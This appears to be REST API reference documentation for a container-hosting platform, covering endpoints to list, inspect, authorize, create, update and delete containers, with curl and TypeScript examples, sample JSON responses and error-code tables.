| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as "Bearer &lt;token&gt;" |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |
| `ACCOUNT_BANNED` | Account banned | Your account has been banned and cannot access this resource | Contact support for information about your account status |



## List project containers

### `GET /api/v1/projects/{id}/containers`

Get all containers for a specific project with pagination, filtering, and sorting.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Project ID |
| `page` | query | number | No | Page number for pagination |
| `limit` | query | number | No | Number of containers to return per page |
| `sort_by` | query | string | No | Field to sort containers by. Allowed values: `id`, `name`, `status`, `created_at`, `updated_at` |
| `sort_order` | query | string | No | Sort direction. Allowed values: `asc`, `desc` |
| `runtime` | query | string | No | Include live runtime information. Accepts "true", "false", or a URL-encoded JSON string like `{"displays":true}`. An empty JSON object `{}` fetches all info. Results are cached for 2 seconds to prevent abuse. |
| `include_proxy_domains` | query | string | No | Include proxy domains (aliases) for each container. When true, adds a proxy_domains array to each container object. Allowed values: `true`, `false` |
| `include_prespawn` | query | string | No | Include prespawn containers in the listing. By default, prespawn containers are excluded. Allowed values: `true`, `false` |
| `include_deleting` | query | string | No | Include containers currently being deleted. By default, deleting containers are excluded from results. Allowed values: `true`, `false` |
| `include_proxy_permissions` | query | string | No | Include the full proxy-permissions documents (container-level proxy_permissions and parent-project-level project_proxy_permissions) for each container. Returns proxy authentication group configuration including credentials — request only when explicitly needed. Auth tokens additionally require the resources.proxy_aliases permission. |



```bash
curl -X GET "https://api.hoody.icu/api/v1/projects/507f1f77bcf86cd799439011/containers?page=1&limit=20" \
  -H "Authorization: Bearer <token>"
```


```typescript
const containers = await client.api.containers.listByProjectIterator({
  id: "507f1f77bcf86cd799439011",
  page: 1,
  limit: 20
});
```


```json
{
  "statusCode": 200,
  "message": "Containers retrieved successfully",
  "data": {
    "containers": [
      {
        "id": "507f1f77bcf86cd799439013",
        "project_id": "507f1f77bcf86cd799439011",
        "project_alias": "my-web-app",
        "server_id": "507f1f77bcf86cd799439014",
        "server_name": "node-us-nyc-1",
        "name": "frontend-prod",
        "color": "#3B82F6",
        "container_image": "ubuntu/22.04",
        "ai": true,
        "hoody_kit": true,
        "dev_kit": true,
        "autostart": true,
        "prespawn": false,
        "is_default": false,
        "status": "running",
        "environment_vars": {
          "NODE_ENV": "production",
          "PORT": "3000"
        },
        "volumes": {},
        "ssh_public_key": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMqqnkVzrm0SdG6UOoqKLsabgH5C9okWi0dh2l9GKJl user@host",
        "comment": "Production frontend server",
        "created_at": "2025-01-15T10:30:00.000Z",
        "updated_at": "2025-01-15T14:22:00.000Z",
        "realm_ids": [],
        "snapshot_count": 3,
        "last_used_snapshot": "before-upgrade",
        "runtime_info": null,
        "pool_id": null,
        "proxy_domains": []
      }
    ],
    "pagination": {
      "total": 42,
      "page": 1,
      "limit": 20,
      "totalPages": 3
    }
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Validation failed"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input parameters | One or more request parameters failed validation | Check the error message for specific field requirements and correct your input |
| `INVALID_ID_FORMAT` | Invalid ID format | The provided ID must be a 24-character hexadecimal string | Ensure the ID is exactly 24 characters long and contains only hexadecimal characters (0-9, a-f) |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as "Bearer &lt;token&gt;" |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |
| `ACCOUNT_BANNED` | Account banned | Your account has been banned and cannot access this resource | Contact support for information about your account status |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Resource not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `RESOURCE_NOT_FOUND` | Resource not found | The requested resource does not exist or has been deleted | Verify the resource ID and ensure it exists |



## Get a container by ID

### `GET /api/v1/containers/{id}`

Retrieve a single container by its identifier, with optional live runtime information and proxy domain details.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique identifier of the container to retrieve |
| `runtime` | query | string | No | Include live runtime information. Accepts "true", "false", or a URL-encoded JSON string like `{"displays":true}`. An empty JSON object `{}` fetches all info. Results are cached for 2 seconds to prevent abuse. |
| `include_proxy_domains` | query | string | No | Include proxy domains (aliases) for this container. When true, adds a proxy_domains array to the container object. Allowed values: `true`, `false` |
| `include_proxy_permissions` | query | string | No | Include the full proxy-permissions documents (container-level proxy_permissions and parent-project-level project_proxy_permissions) for each container. Returns proxy authentication group configuration including credentials — request only when explicitly needed. Auth tokens additionally require the resources.proxy_aliases permission. |



```bash
curl -X GET "https://api.hoody.icu/api/v1/containers/507f1f77bcf86cd799439011?include_proxy_domains=true" \
  -H "Authorization: Bearer <token>"
```


```typescript
const container = await client.api.containers.get({
  id: "507f1f77bcf86cd799439011",
  include_proxy_domains: "true"
});
```


```json
{
  "statusCode": 200,
  "message": "Container retrieved successfully",
  "data": {
    "id": "507f1f77bcf86cd799439011",
    "project_id": "507f1f77bcf86cd799439033",
    "project_alias": "Production Environment",
    "server_id": "507f1f77bcf86cd799439044",
    "server_name": "node-sg-sin-1",
    "subserver_name": "node-sg-sin-1",
    "name": "web-app-1",
    "color": "#3B82F6",
    "container_image": "ubuntu/24.04",
    "ai": true,
    "hoody_kit": true,
    "dev_kit": true,
    "autostart": true,
    "ramdisk": true,
    "prespawn": false,
    "is_default": false,
    "status": "running",
    "environment_vars": {
      "NODE_ENV": "production"
    },
    "volumes": {},
    "ssh_public_key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...",
    "comment": "Primary web application container",
    "source_container_id": null,
    "server_expired": false,
    "server_expired_at": null,
    "server_expired_reason": null,
    "created_at": "2025-01-15T10:30:00.000Z",
    "updated_at": "2025-01-15T10:30:00.000Z",
    "realm_ids": [],
    "snapshot_count": 3,
    "last_used_snapshot": "backup-2025-01-14",
    "warnings": [],
    "pool_id": null,
    "proxy_domains": []
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid ID format"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_ID_FORMAT` | Invalid ID format | The provided ID must be a 24-character hexadecimal string | Ensure the ID is exactly 24 characters long and contains only hexadecimal characters (0-9, a-f) |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as "Bearer &lt;token&gt;" |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |
| `ACCOUNT_BANNED` | Account banned | Your account has been banned and cannot access this resource | Contact support for information about your account status |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Container not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `CONTAINER_NOT_FOUND` | Container not found | The requested container does not exist or you do not have permission to access it. | Verify the container ID is correct and that you have access to the project it belongs to. |



## Get container resource statistics

### `GET /api/v1/containers/{id}/stats`

Get real-time resource usage statistics for a container including CPU, memory, disk, and network metrics. Useful for monitoring performance and troubleshooting resource issues.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique identifier of the container |



```bash
curl -X GET "https://api.hoody.icu/api/v1/containers/507f1f77bcf86cd799439011/stats" \
  -H "Authorization: Bearer <token>"
```


```typescript
const stats = await client.api.containers.getStats({
  id: "507f1f77bcf86cd799439011"
});
```


```json
{
  "statusCode": 200,
  "message": "Container statistics retrieved successfully",
  "data": {
    "id": "507f1f77bcf86cd799439011",
    "project_id": "507f1f77bcf86cd799439033",
    "project_name": "Production Environment",
    "server_name": "node-sg-sin-1",
    "subserver_name": "node-sg-sin-1",
    "status": "Running",
    "status_code": 103,
    "processes": 143,
    "started_at": "2025-12-03T18:39:53.938688987Z",
    "cpu": {
      "usage": 17303605000,
      "allocated_time": 24000000000,
      "usage_percent": 72.1
    },
    "memory": {
      "usage": 1474666496,
      "total": 131503332000,
      "usage_percent": 1.12,
      "swap_usage": 0,
      "swap_usage_peak": 0,
      "usage_peak": 0
    },
    "disk": {
      "root": {
        "total": 0,
        "usage": 11081670656
      }
    },
    "network": [
      {
        "interface": "eth0",
        "addresses": [
          {
            "address": "10.10.0.122",
            "family": "inet",
            "netmask": "30",
            "scope": "global"
          }
        ],
        "counters": {
          "bytes_received": 1098069936,
          "bytes_sent": 16777319,
          "packets_received": 346440,
          "packets_sent": 242010,
          "errors_received": 0,
          "errors_sent": 0,
          "packets_dropped_inbound": 0,
          "packets_dropped_outbound": 0
        },
        "state": "up",
        "type": "broadcast"
      }
    ],
    "processing_time": "3ms"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid ID format"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_ID_FORMAT` | Invalid ID format | The provided ID must be a 24-character hexadecimal string | Ensure the ID is exactly 24 characters long and contains only hexadecimal characters (0-9, a-f) |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as "Bearer &lt;token&gt;" |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |
| `ACCOUNT_BANNED` | Account banned | Your account has been banned and cannot access this resource | Contact support for information about your account status |
| `RESOURCE_ACCESS_DENIED` | Resource access denied | You do not have permission to access this specific resource | Ensure you own this resource or have been granted access by the owner |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Container not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `CONTAINER_NOT_FOUND` | Container not found | The requested container does not exist or you do not have permission to access it. | Verify the container ID is correct and that you have access to the project it belongs to. |
| `RESOURCE_NOT_FOUND` | Resource not found | The requested resource does not exist or has been deleted | Verify the resource ID and ensure it exists |


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "An unexpected error occurred"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INTERNAL_SERVER_ERROR` | Internal server error | An unexpected error occurred on the server | Try again later, or contact support if the problem persists |
| `EXTERNAL_SERVICE_ERROR` | External service error | A required external service is unavailable or returned an error | Try again later when the external service is available |



## Authorize container access

### `POST /api/v1/containers/{id}/authorize`

Issues a signed, portable container authorization claim. The returned `container_claim` is an ED25519-signed credential that proves the user identity, the authorized container, and the issue time.

Container programs can verify this claim **offline** using Hoody's public key at `GET /api/v1/meta/public-key` — no API round-trip is needed during verification. Claims expire after the configured expiry (default 1h); clients should re-call this endpoint to refresh before expiry.


The response also includes the `X-Hoody-Signature` header, which contains an ED25519 signature of the response body in the format `t=&lt;unix_ts&gt;,kid=&lt;keyId&gt;,path=&lt;urlPath&gt;,sig=&lt;128-hex&gt;`.


#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID (24-char hex) |



```bash
curl -X POST "https://api.hoody.icu/api/v1/containers/507f1f77bcf86cd799439011/authorize" \
  -H "Authorization: Bearer <token>"
```


```typescript
const claim = await client.api.containers.authorize({
  id: "507f1f77bcf86cd799439011"
});
```


```json
{
  "statusCode": 200,
  "message": "Container authorization claim issued",
  "data": {
    "container_claim": {
      "kid": "v1",
      "payload_b64": "eyJjbGFpbV90eXBlIjoiY29udGFpbmVyIiwi...",
      "signature_hex": "a1b2c3d4..."
    },
    "expires_in": 3600,
    "container_id": "507f1f77bcf86cd799439011",
    "project_id": "507f1f77bcf86cd799439033"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid ID format"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_ID_FORMAT` | Invalid ID format | The provided ID must be a 24-character hexadecimal string | Ensure the ID is exactly 24 characters long and contains only hexadecimal characters (0-9, a-f) |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as "Bearer &lt;token&gt;" |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Container not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `CONTAINER_NOT_FOUND` | Container not found | The requested container does not exist or you do not have permission to access it. | Verify the container ID is correct and that you have access to the project it belongs to. |


```json
{
  "statusCode": 503,
  "error": "SIGNING_NOT_CONFIGURED",
  "message": "Response signing is not configured on this API instance"
}
```



## Create a container

### `POST /api/v1/projects/{id}/containers`

Create a new container within a project. The container will be provisioned on the specified server.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Project ID |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `server_id` | string | Yes | ID of the server to host the container |
| `name` | string | No | Name for the container. Must be 3-100 characters, alphanumeric with hyphens and underscores. Omit or use "rand" to generate a random name. |
| `color` | string | No | HEX color for the container (e.g., #FF0000 or FF0000). If not provided, a random color will be generated. The # prefix will be added automatically if missing, and the color will be converted to uppercase. |
| `container_image` | string | No | Container image to use. If null or not provided, will use the default configured image. |
| `ai` | boolean | No | Whether AI features are enabled. Default: `true` |
| `environment_vars` | object | No | Environment variables to set in the container. Keys must match `^[a-zA-Z_][a-zA-Z0-9_]*$`. Max 200 properties, each value &le; 65536 chars. |
| `ssh_public_key` | string | No | SSH public key for container access. SSH public keys must be unique per container (one container per key). If not provided, will inherit from project defaults. |
| `comment` | string | No | Optional comment for the container (max 16000 characters) |
| `hoody_kit` | boolean | No | Enable all Hoody Kit features (extra-apt-sources, basic-packages, hoody-daemon, sudo-env, remove-snapd, webview, user, hoody-ai, ttyd). Default: `true` |
| `dev_kit` | boolean | No | Enable dev_kit development tools in the container. Defaults to true when hoody_kit is true, false when hoody_kit is false (unless explicitly set). Cannot be updated after creation. |
| `autostart` | boolean | No | Whether the container should start automatically on host boot. Default: `true` |
| `ramdisk` | boolean | No | Whether to mount a ramdisk at /ramdisk in the container. Default: `true` |
| `cache` | boolean | No | Enable use of cached images during container creation. Default: `true` |
| `cache_image` | boolean | No | Force the creation of a new cached image from the container image. Default: `false` |
| `prespawn` | boolean | No | Create container as prespawn cache. Prespawn containers are excluded from default listings and quota counts. Default: `false` |
| `bypass_prespawn` | boolean | No | Bypass prespawn container claiming and create a fresh container directly. Default: `false` |
| `realm_ids` | array | No | Realm IDs to assign this container to. Containers can have different realm membership than their parent project. |



```bash
curl -X POST "https://api.hoody.icu/api/v1/projects/507f1f77bcf86cd799439011/containers" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "server_id": "507f1f77bcf86cd799439014",
    "name": "backend-api",
    "color": "#10B981",
    "container_image": "ubuntu/22.04",
    "ai": true,
    "environment_vars": {
      "DATABASE_URL": "postgresql://user:pass@db:5432/app",
      "REDIS_URL": "redis://cache:6379"
    },
    "autostart": true,
    "ramdisk": true
  }'
```


```typescript
const container = await client.api.containers.create({
  id: "507f1f77bcf86cd799439011",
  data: {
    server_id: "507f1f77bcf86cd799439014",
    name: "backend-api",
    color: "#10B981",
    container_image: "ubuntu/22.04",
    environment_vars: {
      DATABASE_URL: "postgresql://user:pass@db:5432/app",
      REDIS_URL: "redis://cache:6379"
    }
  }
});
```


```json
{
  "statusCode": 201,
  "message": "Container created successfully",
  "data": {
    "id": "507f1f77bcf86cd799439015",
    "project_id": "507f1f77bcf86cd799439011",
    "project_alias": "my-web-app",
    "server_id": "507f1f77bcf86cd799439014",
    "server_name": "node-us-nyc-1",
    "subserver_name": "node-us-nyc-1",
    "name": "backend-api",
    "color": "#10B981",
    "container_image": "ubuntu/22.04",
    "ai": true,
    "hoody_kit": true,
    "dev_kit": true,
    "autostart": true,
    "prespawn": false,
    "status": "creating",
    "environment_vars": {
      "DATABASE_URL": "postgresql://user:pass@db:5432/app",
      "REDIS_URL": "redis://cache:6379"
    },
    "volumes": {},
    "ssh_public_key": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMqqnkVzrm0SdG6UOoqKLsabgH5C9okWi0dh2l9GKJl user@host",
    "comment": "Backend API server with PostgreSQL connection",
    "created_at": "2025-01-15T15:45:00.000Z",
    "updated_at": "2025-01-15T15:45:00.000Z",
    "realm_ids": []
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Validation failed"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input parameters | One or more request parameters failed validation | Check the error message for specific field requirements and correct your input |
| `INVALID_ID_FORMAT` | Invalid ID format | The provided ID must be a 24-character hexadecimal string | Ensure the ID is exactly 24 characters long and contains only hexadecimal characters (0-9, a-f) |
| `INVALID_CONTAINER_NAME` | Invalid container name | Container name must be 3-100 characters, alphanumeric with hyphens and underscores. | Use a valid name between 3 and 100 characters containing only a-z, A-Z, 0-9, -, and _. |
| `SERVER_CONTAINER_LIMIT` | Server container limit reached | The target server is at its maximum number of live containers (explicit max_containers, or the free-tier default). | Delete an existing container on this server, or create the container on a different server. |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as "Bearer &lt;token&gt;" |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |
| `ACCOUNT_BANNED` | Account banned | Your account has been banned and cannot access this resource | Contact support for information about your account status |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Resource not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `RESOURCE_NOT_FOUND` | Resource not found | The requested resource does not exist or has been deleted | Verify the resource ID and ensure it exists |


```json
{
  "statusCode": 409,
  "error": "Conflict",
  "message": "Container name already in use within the project"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `CONTAINER_NAME_IN_USE` | Container name already in use | A container with this name already exists in the project. | Choose a different name for your container. |
| `SSH_PUBLIC_KEY_IN_USE` | SSH public key already in use | SSH public keys must be unique per container. A single public key cannot be assigned to multiple containers because it is used for routing SSH connections. | Generate a new SSH key pair for this container, or remove the key from the other container before reusing it. |


```json
{
  "statusCode": 422,
  "error": "Unprocessable Entity",
  "message": "Quota exceeded"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `QUOTA_EXCEEDED` | Quota exceeded | You have exceeded your quota for this resource type | Delete unused resources or upgrade your plan for higher limits |



## Update a container

### `PATCH /api/v1/containers/{id}`

Update mutable properties of an existing container. Only fields provided in the request body are modified.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique identifier of the container to update |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `name` | string | No | Human-readable name for the container - must be unique within the project. 1-100 characters. |
| `color` | string | No | HEX color for the container (e.g., #FF0000 or FF0000). The # prefix will be added automatically if missing, and the color will be converted to uppercase. |
| `ai` | boolean | No | Whether AI features are enabled. If omitted, the current value is preserved. |
| `autostart` | boolean | No | Whether the container starts automatically on host boot. If omitted, the current value is preserved. |
| `ramdisk` | boolean | No | Whether to mount a ramdisk at /ramdisk in the container. If omitted, the current value is preserved. |
| `environment_vars` | object | No | Environment variables to set in the container as key-value pairs. Max 200 properties. |
| `ssh_public_key` | string \| null | No | SSH public key for container access. SSH public keys must be unique per container. Re-sending the same key is a no-op. Set to null to clear or inherit from project defaults. |
| `comment` | string \| null | No | Optional comment for the container (max 16000 characters). Set to null to clear existing comment. |
| `realm_ids` | array | No | Update realm membership. Only unrestricted tokens and admin users can modify realm_ids. |



```bash
curl -X PATCH "https://api.hoody.icu/api/v1/containers/507f1f77bcf86cd799439011" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "web-app-prod",
    "color": "#10B981",
    "ai": true,
    "comment": "Updated production web app"
  }'
```


```typescript
const container = await client.api.containers.update({
  id: "507f1f77bcf86cd799439011",
  data: {
    name: "web-app-prod",
    color: "#10B981",
    comment: "Updated production web app"
  }
});
```


```json
{
  "statusCode": 200,
  "message": "Container updated successfully",
  "data": {
    "id": "507f1f77bcf86cd799439011",
    "project_id": "507f1f77bcf86cd799439033",
    "project_alias": "Production Environment",
    "server_id": "507f1f77bcf86cd799439044",
    "server_name": "node-sg-sin-1",
    "subserver_name": "node-sg-sin-1",
    "name": "web-app-prod",
    "color": "#10B981",
    "container_image": "ubuntu/24.04",
    "ai": true,
    "hoody_kit": true,
    "dev_kit": true,
    "autostart": true,
    "ramdisk": true,
    "prespawn": false,
    "is_default": false,
    "status": "running",
    "environment_vars": {
      "NODE_ENV": "production"
    },
    "volumes": {},
    "ssh_public_key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...",
    "comment": "Updated production web app",
    "source_container_id": null,
    "created_at": "2025-01-15T10:30:00.000Z",
    "updated_at": "2025-01-16T09:00:00.000Z",
    "realm_ids": [],
    "pool_id": null
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Validation failed"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input parameters | One or more request parameters failed validation | Check the error message for specific field requirements and correct your input |
| `INVALID_ID_FORMAT` | Invalid ID format | The provided ID must be a 24-character hexadecimal string | Ensure the ID is exactly 24 characters long and contains only hexadecimal characters (0-9, a-f) |
| `INVALID_CONTAINER_NAME` | Invalid container name | Container name must be 3-100 characters, alphanumeric with hyphens and underscores. | Use a valid name between 3 and 100 characters containing only a-z, A-Z, 0-9, -, and _. |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as "Bearer &lt;token&gt;" |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |
| `ACCOUNT_BANNED` | Account banned | Your account has been banned and cannot access this resource | Contact support for information about your account status |
| `OPERATION_NOT_PERMITTED_ON_EXPIRED` | Operation Not Permitted on Expired Container | This operation cannot be performed because the container has expired due to server termination. | The container is in a read-only state. No further operations are allowed. Please create a new container. |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Container not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `CONTAINER_NOT_FOUND` | Container not found | The requested container does not exist or you do not have permission to access it. | Verify the container ID is correct and that you have access to the project it belongs to. |
| `RESOURCE_NOT_FOUND` | Resource not found | The requested resource does not exist or has been deleted | Verify the resource ID and ensure it exists |


```json
{
  "statusCode": 409,
  "error": "Conflict",
  "message": "Container name already in use within the project"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `CONTAINER_NAME_IN_USE` | Container name already in use | A container with this name already exists in the project. | Choose a different name for your container. |
| `SSH_PUBLIC_KEY_IN_USE` | SSH public key already in use | SSH public keys must be unique per container. A single public key cannot be assigned to multiple containers because it is used for routing SSH connections. | Generate a new SSH key pair for this container, or remove the key from the other container before reusing it. |



## Delete a container

### `DELETE /api/v1/containers/{id}`

Delete a container. The container will be marked for deletion and removed asynchronously.


This action is irreversible. All data inside the container will be lost unless preserved by a snapshot.


#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique identifier of the container to delete |



```bash
curl -X DELETE "https://api.hoody.icu/api/v1/containers/507f1f77bcf86cd799439011" \
  -H "Authorization: Bearer <token>"
```


```typescript
await client.api.containers.delete({
  id: "507f1f77bcf86cd799439011"
});
```


```json
{
  "statusCode": 200,
  "message": "Container deleted successfully"
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid ID format"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_ID_FORMAT` | Invalid ID format | The provided ID must be a 24-character hexadecimal string | Ensure the ID is exactly 24 characters long and contains only hexadecimal characters (0-9, a-f) |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as "Bearer &lt;token&gt;" |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |
| `ACCOUNT_BANNED` | Account banned | Your account has been banned and cannot access this resource | Contact support for information about your account status |
| `OPERATION_NOT_PERMITTED_ON_EXPIRED` | Operation Not Permitted on Expired Container | This operation cannot be performed because the container has expired due to server termination. | The container is in a read-only state. No further operations are allowed. Please create a new container. |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Container not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `CONTAINER_NOT_FOUND` | Container not found | The requested container does not exist or you do not have permission to access it. | Verify the container ID is correct and that you have access to the project it belongs to. |


```json
{
  "statusCode": 409,
  "error": "Conflict",
  "message": "Resource is currently in use"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `RESOURCE_IN_USE` | Resource in use | This resource cannot be modified or deleted because it is currently in use | Stop using the resource or remove dependent resources first |
| `OPERATION_STATE_CONFLICT` | Container State Conflict | The operation cannot be performed because the container is not in the correct state. | Check the container's current status. For example, a container must be stopped to be started. |
